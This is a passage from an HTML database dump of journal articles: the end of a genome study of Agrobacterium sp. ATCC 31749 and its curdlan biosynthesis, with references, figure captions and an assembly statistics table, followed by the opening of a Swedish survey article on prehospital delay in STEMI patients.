9: e101279.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1046/j.1365-313x.2000.00808.x\">Zupan J, Muth TR, Draper O, Zambryski P (2000) The transfer of DNA from agrobacterium tumefaciens into plants: a feast of fundamental insights. Plant J 23: 11-28.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1186/s12864-017-3800-9\">Zai X, Yang Q, Liu K, Li R, Qian M, et al. (2017) A comprehensive proteogenomic study of the human Brucella vaccine strain 104 M. BMC Genomics 18: 402.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1186/1471-2164-13-58\">Sanchez-Alberola N, Campoy S, Barbe J, Erill I (2012) Analysis of the SOS response of Vibrio and other bacteria with multiple chromosomes. BMC Genomics 13: 58.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1186/s12866-015-0356-1\">Yu X, Zhang C, Yang L, Zhao L, Lin C, et al. (2015) CrdR function in a curdlan-producing Agrobacterium sp. ATCC31749 strain. BMC Microbiol 15: 25.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1371/journal.pone.0157888\">Nouwen N, Fardoux J, Giraud E (2016) NodD1 and NodD2 Are Not Required for the Symbiotic Interaction of Bradyrhizobium ORS285 with Nod-Factor-Independent Aeschynomene Legumes. PLoS One 11: e0157888.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1126/science.1139548\">Giraud E, Moulin L, Vallenet D, Barbe V, Cytryn E, et al. (2007) Legumes symbioses: absence of Nod genes in photosynthetic bradyrhizobia. Science 316: 1307-1312.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"file:///C:/Users/nanar/AppData/Local/Packages/microsoft.windowscommunicationsapps_8wekyb3d8bbwe/LocalState/Files/S0/1445/v\">MacLean AM, Finan TM, Sadowsky MJ (2007) Genomes of the symbiotic nitrogen-fixing bacteria of legumes. Plant Physiol 144: 615-622.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1128/jb.170.3.1380-1383.1988\">Leonard AC, Helmstetter CE (1988) Replication patterns of multiple plasmids coexisting in Escherichia coli. J Bacteriol 170: 1380-1383.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1126/science.1066803\">Goodner B, Hinkle G, Gattung S, Miller N, Blanchard M, et al. (2001) Genome sequence of the plant pathogen and biotechnology agent Agrobacterium tumefaciens C58. Science 294: 2323-2328.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1128/jb.183.10.3065-3075.2001\">Kahng LS, Shapiro L (2001) The CcrM DNA methyltransferase of Agrobacterium tumefaciens is essential, and its activity is cell cycle regulated. J Bacteriol 183: 3065-3075.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1128/jb.185.11.3384-3391.2003\">Kahng LS, Shapiro L (2003) Polar localization of replicon origins in the multipartite genomes of Agrobacterium tumefaciens and Sinorhizobiummeliloti. J Bacteriol 185: 3384-3391.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1126/science.1066804\">Wood DW, Setubal JC, Kaul R, Monks DE, Kitajima JP, et al. (2001) The genome of the natural genetic engineer Agrobacterium tumefaciens C58. Science 294: 2317-2323.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1111/j.1365-2958.2005.04622.x\">Egan ES, Fogel MA, Waldor MK (2005) Divided genomes: negotiating the cell cycle in prokaryotes with multiple chromosomes. Mol Microbiol 56: 1129-1138.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1128/jb.174.11.3766-3774.1992\">Davidson BE, MacDougall J, Saint Girons I (1992) Physical map of the linear chromosome of the bacterium Borrelia burgdorferi 212, a causative agent of Lyme disease, and localization of rRNA genes. J Bacteriol 174: 3766-3774.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.2144/btn-2018-0057\">Somanathan I, Baysdorfer C (2018) A bioinformatics approach to identify telomere sequences. Biotechniques 65: 20-25.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1128/jb.175.24.7869-7874.1993\">Allardet-Servent A, Michaux-Charachon S, Jumas-Bilak E, Karayan L, Ramuz M (1993) Presence of one linear and one circular chromosome in the Agrobacterium tumefaciens C58 genome. J Bacteriol 175: 7869-7874.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1073/pnas.0708025104\">Ciocchini AE, Guidolin LS, Casabuono AC, Couto AS, de Iannino NI, et al. (2007) A glycosyltransferase with a length-controlling activity as a mechanism to regulate the size of polysaccharides. Proc Natl Acad Sci U S A 104: 16492-16497.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1093/glycob/cwj113\">Ciocchini AE, Roset MS, Briones G, Inon de Iannino N, Ugalde RA (2006) Identification of active site residues of the inverting glycosyltransferase Cgs required for the synthesis of cyclic beta-1,2-glucan, a Brucella abortus virulence factor. Glycobiology 16: 679-691.</a></span></span></li>\r\n</ol>\r\n','<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/179de5592.jpg\" style=\"height:350px; width:350px\" /></p>\r\n\r\n<p><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 1:</strong> Genome features of <em>Agrobacterium</em> sp. ATCC 31749. The genome consists of two small circular plasmids (pAg31749a and pAg31749b), one large circular chromosome (C1) and one linear chromosome (C2). Their predicted genes are indicated outside the circles 1 and 2 (from the outer to the inner) with kb as genomic length unit. The predicted tRNAs and transposons are shown in circles 4 and 5, while the 3<sup>rd</sup> circle depicts the GC content.The annotated proteins encoded by the leading and the lagging strand (inner circles 6 and 7) are marked with different colors</span></span></p>\r\n\r\n<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/181ea8518.png\" style=\"height:310px; width:515px\" /></p>\r\n\r\n<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/1824a12e8.png\" style=\"height:385px; width:515px\" /></p>\r\n\r\n<p><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 2:</strong> Classification for gene function for<em> Agrobacterium</em> sp. ATCC 31749. <strong>(a)</strong> Conserved Orthologous Genes (COG) Classification showing that high frequency of genes function in transport and metabolism (E-I, P-Q). <strong>(b)</strong> Gene Ontology (GO) classification showing that majority of the genes are involved in molecular function and biological processes</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/183ccb7a9.png\" style=\"height:315px; width:315px\" /></span></span></p>\r\n\r\n<p><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 3:</strong> The NJ phylogenetic tree highlighting the position of <em>Agrobacterium</em> sp. ATCC 31749 relative to other 56 species within the <em>Agrobacterium</em>/<em>Rhizobium </em>group. The tree was inferred from 247 protein sequences of highly orthologous genes. This phylogenetic tree suggests that C58 is the closely related species to ATCC31749 and that the genome of ATCC31749 is very similar to those of <em>Agrobacterium fabrum</em> group although ATCC31749 is not pathogenic.</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/185984aa2.jpg\" style=\"height:695px; width:500px\" /></span></span></p>\r\n\r\n<p><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 4:</strong>Comparative genomics between ATCC31749 and other species. <strong>(a)</strong> Venn diagram depicting orthologous cluster of genes shared between ATCC31749and the closest related species (C58, J-07, LBA4404 LC34 and SUL3) in the clade &ldquo;B2&rdquo; of figure 3. The numbers depict the number of orthologous clusters of genes shared between the six species. The bar graph below the venn diagram shows the size of gene clusters in each species, whiles the diagram below the bar graph shows the number of specific or shared genes by 1, 2, 3, 4, 5 or 6 species.</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/186038460.png\" style=\"height:415px; width:415px\" /></span></span></p>\r\n\r\n<p><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Figure 4:Comparative genomics between ATCC31749 and other species. (b)Circos plot showing syntenic genes relationship between the replicons of ATCC31749 and C58. ATCC31749C1 is highly homologous to C58C1, whiles ATCC31749C2 is more homologous to C58C2 with some genes being mapped to pTiC58. pAg31749a is highly mapped to the plasmid pAtC58, whiles pAg31749b is highly mapped to C58C2 with very few fragments being mapped to pAtC58 and pTiC58.</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/18755ae51.png\" style=\"height:323px; width:415px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/1889ef7d4.png\" style=\"height:356px; width:415px\" /></p>\r\n\r\n<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/1892679e7.png\" style=\"height:403px; width:500px\" /></p>\r\n\r\n<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/1906b395a.png\" style=\"height:387px; width:515px\" /></p>\r\n\r\n<p><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 5:</strong> Evolution of the secondary chromosome of ATCC31749. <strong>(ai) </strong>Circos plot showing similarities (tBLASTx) between the primary chromosome (C1) and the other replicons of ATCC31749. <strong>(aii)</strong>Circos plot showing similarities (tBLASTx) between the secondary chromosome (C2) and the other replicons of ATCC31749. The threshold for connecting lines was set at e-value &le; 10<sup>&minus;10</sup>, with line colors reflecting the ratio of actual tBLASTxbitscore to the maximal score (using &lsquo;score/max&rsquo; ratio coloringof blue &le; 0.25, green &le; 0.50, orange &le; 0.75, red &gt; 0.75). The outer histogram counts how many times each color has hit the specific part of the sequence and uses an equivalent coloring scheme. <strong>(b)</strong> Phylogenetic tree inferred from <em>repABC</em> genes highlighting the origin of C2 of ATCC31749. <strong>(c)</strong> The proposed possible pathway for the evolution of the secondary chromosome (C2) of ATCC31749 (shown in black coloured arrows).</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/19204e706.png\" style=\"height:528px; width:445px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/193d82f51.png\" style=\"height:229px; width:515px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/194fc54d2.png\" style=\"height:511px; width:520px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/1954dbb3f.png\" style=\"height:380px; width:515px\" /></span></span></p>\r\n\r\n<p><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 6:</strong> Expression of curdlan biosynthesis genes. <strong>(a)</strong> Distribution of FPKM values across the 6 samples (S1E &ndash; S3S) at E- and S-phases. Samples from the same phase are shown in the same color. E-phase in orange and S-phase in blue. <strong>(b)</strong> FPKM distributions at E-phase and S-phase for <em>crdA, crdS</em>and <em>crdC</em> genes (curdlan synthesis operon). These are genes that are known to be highly expressed at S-phase, displayed as box-and-whiskers plots. <strong>(c)</strong> Average expression level (RPKM) for curdlan biosynthesis related genes across all samples at E- and S-phases. Curdlan biosynthesis operon and its regulatory-related genes, and stress-response related genes were highly upregulated at the S-phase. Red rectangles present genes showing specific high expression levels. The deeper the red color the higher the expression level. <strong>(d)</strong> Biosynthetic pathway and regulatory networks for curdlan in ATCC31749. Curdlan biosynthesis pathway is shown in red words with yellow background. NTP biosynthesis pathway for providing energy in curdlan biosynthesis is in purple words. C-di-GMP biosynthesis pathway for regulating curdlan biosynthesis is in green words with yellow background. Primary metabolism such as glycolysis and TCA are in black words. 1. PTS system, 2. phosphosucrose hydrolase, 3. Fructose kinase or hexoses kinase, 4. phosphoglucoisomerase, 5. Phosphoglucomutase, 6. UTP-glucose-1-phosphate uridylyltransferase, 7. sugar nucleotide synthase, 8. Enolase, 9. pyruvate kinase, 10. 2-oxoacid ferredoxin oxidoreductase.</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/19653cd78.jpg\" style=\"height:262px; width:515px\" /></span></span></p>\r\n\r\n<p><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 7:</strong> Protective ability of curdlan on ATCC31749cells. &ldquo;b&rdquo; represents the S-phase and &ldquo;a&rdquo; represents the E-phase. The number of cell colonies that grewon the agar plates for each cell type at the S-phase were significantly higher than the colonies that grew at the E-phase. At each growth phase, the wild type strain (ATCC31749) produced the highest number of colonies followed by the ATCC31749-?<em>crdR</em>+pBQ<em>crdR</em>, the mutant strain that has been transformed with <em>crdR</em>gene. The ATCC31749-?<em>crdR</em> mutant strain produced the lowest number of cell colonies at both growth phases, indicating that curdlan serve as a protective cover for the ATCC31749 cells.</span></span></p>\r\n\r\n<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Supplementary data</strong></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/200a62402.jpg\" style=\"height:1177px; width:615px\" /></strong></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Mao Figure S1 - tree Final</strong></span></p>\r\n\r\n<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/199ff14ad.jpg\" style=\"height:588px; width:515px\" /></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Mao Figure S2a</strong></span></p>\r\n\r\n<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/1989b2e25.jpg\" style=\"height:529px; width:500px\" /></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Mao Figure S2b</strong></span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation: </strong>Anane RF, Lin C, Sun H, Zhao L, Liu Z, et al. (2019) Complete Genome Sequence of <em>Agrobacterium</em> sp. ATCC 31749 and Insights into its Curdlan Biosynthesis. CurrTrends GenetMicrobiol: CTGM-100001</span></span></p>\r\n','<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#4caf50; width:211pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Characteristic </span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; width:260pt\">\r\n			<p style=\"text-align:center\"><strong><em><span style=\"font-size:10.0pt\">Agrobacterium</span></em></strong><strong><span style=\"font-size:10.0pt\"> sp. ATCC 31749</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:211.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Genome size (bp)</span></p>\r\n			</td>\r\n			<td style=\"width:260.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5,566,198</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:211.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">G+C content (%)</span></p>\r\n			</td>\r\n			<td style=\"width:260.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">58.9</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:211.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Number of chromosomes</span></p>\r\n			</td>\r\n			<td style=\"width:260.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:211.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Estimated coverage (%) </span></p>\r\n			</td>\r\n			<td style=\"width:260.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">100</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:211.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Number of plasmids</span></p>\r\n			</td>\r\n			<td style=\"width:260.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:211.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Number of protein-coding genes</span></p>\r\n			</td>\r\n			<td style=\"width:260.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5591 (Primary chromosome, 3142; Secondary chromosome, 1811; pAg31749a, 331; pAg31749b, 307) </span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:211.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Size of protein-coding genes (bp)</span></p>\r\n			</td>\r\n			<td style=\"width:260.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4861713</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:211.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Mean length (bp)</span></p>\r\n			</td>\r\n			<td style=\"width:260.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">869</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:211.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Number of genomic islands</span></p>\r\n			</td>\r\n			<td style=\"width:260.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">14</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:211.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Total size of islands (bp)</span></p>\r\n			</td>\r\n			<td style=\"width:260.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">228495</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:211.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Number of hypothetical proteins</span></p>\r\n			</td>\r\n			<td style=\"width:260.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1,150</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:211.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Number of pseudogenes</span></p>\r\n			</td>\r\n			<td style=\"width:260.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">21</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:211.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Number of prophages </span></p>\r\n			</td>\r\n			<td style=\"width:260.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:211.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Length of prophages (bp)</span></p>\r\n			</td>\r\n			<td style=\"width:260.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">(1) 58795, (2) 26930, (3) 58962</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:211.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Repeats </span></p>\r\n			</td>\r\n			<td style=\"width:260.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">245</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:211.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">rRNA operon</span></p>\r\n			</td>\r\n			<td style=\"width:260.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:211.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">tRNA</span></p>\r\n			</td>\r\n			<td style=\"width:260.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">33</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:211.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">mRNA</span></p>\r\n			</td>\r\n			<td style=\"width:260.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5591</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:211.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Coding density (%)</span></p>\r\n			</td>\r\n			<td style=\"width:260.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">87.3</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:211.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Number of CRISPR elements</span></p>\r\n			</td>\r\n			<td style=\"width:260.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 1:</strong>Genome assembly statistics</span></span></p>\r\n','1553103758.pdf','1553104874.xlsx','1553103758.jpg','',0,1,'2019-03-20 23:12:38','2019-03-22 08:10:49',1),(45,26,'20','2019','Geographical Diversities in Symptoms, Actions and Prehospital Delay Times in Swedish ST-Elevation Myocardial Infarction (STEMI) Patients: A Descriptive Multicenter Cross-Sectional Survey Study','Isaksson RM1,2*, Sederholm-Lawesson S2, Thylen I2, Swahn E2, Hellström Ängerud K3, Karlsson J-E2,4','Research Article','Geographical-Diversities-in-Symptoms-Actions-and-Prehospital-Delay-Times-in-Swedish-ST-Elevation-Myocardial-Infarction-STEMI-Patients-A-Descriptive-Multicenter-Cross-Sectional-Survey-Study','Geographical-Diversities-in-Symptoms-Actions-and-Prehospital-Delay-Times-in-Swedish-ST Elevation Myocardial Infarction STEMI Patients-A-Descriptive-Multicenter-Cross-Sectional-Survey-Study','Geographical-Diversities-in-Symptoms-Actions-and-Prehospital-Delay-Times-in-Swedish-ST-Elevation-Myocardial-Infarction-STEMI-Patients-A-Descriptive-Multicenter-Cross-Sectional-Survey-Study','Geographical Diversities in Symptoms, Actions and Prehospital Delay Times in Swedish ST-Elevation Myocardial Infarction (STEMI) Patients: A Descriptive Multicenter Cross-Sectional Survey Study','<p style=\"text-align:center\"><span style=\"color:#000000\"><span style=\"font-size:20px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Insights of Cardiology Open Access</strong></span></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:18px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Geographical Diversities in Symptoms, Actions and Prehospital Delay Times in Swedish ST-Elevation Myocardial Infarction </strong></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:18px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>(STEMI) Patients: A Descriptive Multicenter Cross-Sectional Survey Study</strong></span></span></p>\r\n\r\n<p style=\"text-align:center\">&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><strong>Isaksson RM<sup>1,2</sup><sup>*</sup>, Sederholm-Lawesson S<sup>2</sup>, Thylen I<sup>2</sup>, Swahn E<sup>2</sup>, Hellstr&ouml;m &Auml;ngerud K<sup>3</sup>, </strong><strong>Karlsson </strong><strong>J-E</strong><strong><sup>2,4</sup></strong><strong> </strong></p>\r\n\r\n<p style=\"text-align:justify\"><sup>1</sup>Department of Research, Region Norrbotten County, Lule&aring;, Sweden, and Division of Nursing Sciences,&nbsp;Department of Medical and Health Sciences, Link&ouml;ping University, Sweden.</p>\r\n\r\n<p style=\"text-align:justify\"><sup>2</sup>Department of Cardiology and Department of Medical and Health Sciences, Link&ouml;ping University, Link&ouml;ping&nbsp;Sweden</p>\r\n\r\n<p style=\"text-align:justify\"><sup>3</sup>Department of Cardiology, Heart Centre and Department of Nursing, Ume&aring; University, Ume&aring;, Sweden</p>\r\n\r\n<p style=\"text-align:justify\"><sup>4</sup>Department of Internal Medicine, Region J&ouml;nk&ouml;ping County, J&ouml;nk&ouml;ping, Sweden</p>\r\n\r\n<p style=\"text-align:justify\"><strong><sup>*</sup>Corresponding author: </strong>Rose-Marie Isaksson, Department of Research, Region Norrbotten County, Lule&aring;, Sweden, and Division of Nursing Sciences, Department of Medical and Health Sciences, Link&ouml;ping University,</p>\r\n\r\n<p style=\"text-align:justify\">Robertsviksgatan 7, S-971 89 Lule&aring;, Sweden, Tel: +4613281000, Email: <a href=\"mailto:rose-marie.isaksson@norrbotten.se\">rose-marie.isaksson@norrbotten.se</a></p>\r\n\r\n<p style=\"text-align:justify\"><strong>Citation: </strong>Isaksson RM, Sederholm-Lawesson S, Thylen I, Swahn E, Hellstr&ouml;m &Auml;ngerud K, et al. (2019) Geographical Diversities in Symptoms, Actions and Prehospital Delay Times in Swedish ST-Elevation Myocardial Infarction (STEMI) Patients: A Descriptive Multicenter Cross-Sectional Survey Study. Insights Cardiol Open Acc: ICOA-100001.</p>\r\n\r\n<p style=\"text-align:justify\"><strong>Received date: </strong>20 February, 2019<strong>; Accepted date: </strong>11 March, 2019<strong>; Published date: </strong>18 March, 2019</p>\r\n','<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Abstract</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Background: </strong>Geographical variations in cardiovascular mortality have been reported in Sweden as well as in other countries. Little attention has been given to possible variations in symptoms, actions and pre-hospital delay times in ST-elevation myocardial infarction (STEMI) patients, as a reason for this diversity. We aimed to study whether STEMI patients from the northern and southern parts of Sweden differ in symptoms and actions that may affect the pre-hospital delay times.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Methods:&nbsp;</strong>SymTime was a multicentre cross-sectional survey study where STEMI patients admitted to the coronary care unit completed a validated questionnaire within 24 hours after admission. In total, 531 patients were included, 357 in the southern and 174 in the northern part of Sweden.</span></p>\r\n\r\n<p><span style=\"font-family:Times New 